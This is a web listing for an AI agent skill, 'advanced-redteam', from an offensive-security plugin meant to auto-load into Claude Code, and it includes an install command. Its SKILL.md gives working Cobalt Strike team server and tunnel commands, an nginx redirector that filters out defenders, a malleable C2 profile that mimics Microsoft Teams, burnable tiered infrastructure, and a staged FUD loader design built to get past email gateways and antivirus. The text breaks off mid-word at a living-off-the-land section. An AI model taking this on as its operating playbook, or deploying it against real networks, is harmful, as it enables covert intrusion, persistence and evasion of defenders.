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/advanced-redteam

--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:

From plugin
offensive-claude
33837 skills8 agents18 commands1 hook
Install
$ npx -y skills add hypnguyen1209/offensive-claude --skill advanced-redteam --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/advanced-redteam

Context preview

The summary Claude sees to decide when to auto-load this skill.

--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:

SKILL.md

advanced-redteam.SKILL.md

--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase: [c2, actions] step: [6, 7] attck_tactics: [TA0011, TA0008, TA0010] depends_on: [edr-evasion, exploit-development, red-team-ops] feeds_into: [threat-hunting] inputs: [c2_framework, redirector_config] outputs: [c2_infrastructure, opsec_report, exfil_channel] ---

Advanced Red Team Operations

When to Activate

  • Planning advanced red team engagements
  • Designing C2 infrastructure with OPSEC
  • Understanding APT TTPs and operational security
  • Long-term persistent access scenarios

C2 Infrastructure Design

Redirectors (Never Expose Team Server Directly)

**Rule**: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.

# Cobalt Strike team server (bind locally)
./TeamServerImage -Dcobaltstrike.server_port=50050 \
  -Dcobaltstrike.server_bindto=127.0.0.1 \
  -Djavax.net.ssl.keyStore=./cobaltstrike.store \
  teamserver 127.0.0.1 <password>

# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &

# Cloudflare tunnel (or ngrok)
cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
# Or: named tunnel via Zero Trust → point to domain + UUID path

# On operator machine:
websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
# Connect CStrike client to 127.0.0.1:2222

**Benefits**:

  • Team server never exposed to internet scanning (Shodan, Censys)
  • Cloudflare/CDN provides high-reputation front
  • Easy to rotate infrastructure — just change tunnel endpoint

Smart Redirectors (Filter Blue Team)

# Nginx redirector with filtering
server {
    listen 443 ssl;
    server_name legit-looking.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    # Only forward traffic matching Malleable C2 profile
    location /api/v2/session {
        # Check custom header (beacon identifier)
        if ($http_x_session_id != "valid-beacon-id") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Check User-Agent matches profile
        if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Forward to team server
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
    }
    
    # Deflect all other traffic to legitimate site
    location / {
        return 301 https://microsoft.com$request_uri;
    }
}

Malleable C2 Profiles

**NEVER use default profiles** — always customize:

# Disable staging (unless absolutely necessary)
set host_stage "false";

# Memory obfuscation
set sleep_mask "true";   # Encrypt heap while sleeping
set obfuscate "true";    # Avoid generic memory signatures

# Mimic legitimate traffic (Microsoft Teams example)
http-get {
    set uri "/api/v2/users/presence";
    
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
        header "Accept" "application/json";
        
        metadata {
            base64url;
            prepend "session_id=";
            header "Cookie";
        }
    }
    
    server {
        header "Content-Type" "application/json";
        header "Server" "Microsoft-IIS/10.0";
        
        output {
            base64url;
            prepend "{\"status\":\"available\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

# Certificate OPSEC
https-certificate {
    set keystore "legitimate-cert.store";
    set password "password";
}

**Profile Tips**:

  • Clone real traffic (Teams, Slack, O365, Azure API)
  • Match URIs, headers, User-Agents exactly
  • Use valid TLS certificates (Let's Encrypt or purchased)
  • If behind Cloudflare tunnel, TLS terminates there — self-signed OK

Infrastructure Segregation (Tiered Approach)

Tier 1: Phishing/Delivery (High-reputation, short-lived)
├── Purpose: Get initial payload to target
├── Lifespan: 1-2 weeks (burn after phishing campaign)
├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC
└── Once flagged → burned, move to Tier 2

Tier 2: Interactive C2 (Short-haul, active operations)
├── Purpose: Hands-on-keyboard work
├── Lifespan: Duration of active engagement
├── Protocol: HTTP/S, high bandwidth
└── Higher detection risk due to frequent traffic

Tier 3: Long-haul C2 (Persistence, backup)
├── Purpose: Respawn Tier 2 access if burned
├── Lifespan: Months (low and slow)
├── Protocol: DNS, ICMP, or other covert channel
├── Beacon: Once per day/week
└── NEVER run active commands through this tier

**Advanced**: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).

Staged Payload Architecture

Stage 0: Loader (<30KB, FUD)
├── Format: NOT .exe (use .dll sideload, .hta, .lnk+script, ISO container)
├── Job: Download/extract/inject Stage 1 ONLY
├── Must bypass: Email gateway + endpoint AV
└── Self-contained, no external dependencies

Stage 1: Minimal Implant (Lightweight C2)
├── Commands: ls, whoami, pwd, download, upload, execute (5-6 total)
├── Persistence: Registry, scheduled task
├── FUD: May touch disk
├── Purpose: Recon and deploy Stage 2 after assessment
└── Redundancy: Multiple protocols (HTTPS + DNS fallback)

Stage 2: Full C2 (Cobalt Strike, Sliver, Havoc)
├── Full post-exploitation capability
├── In-memory ONLY (never written to disk)
├── Deployed after: AV/EDR killed or strong foothold established
├── Replace Stage 1 persistence with Stage 2
└── Most signatured — only deploy when safe

**Key Principle**: Attack for persistence, not command execution. Every stage should be redundant.

Living Off the Land (LOLBins)

# Downlo
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Ships withoffensive-claude

A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline

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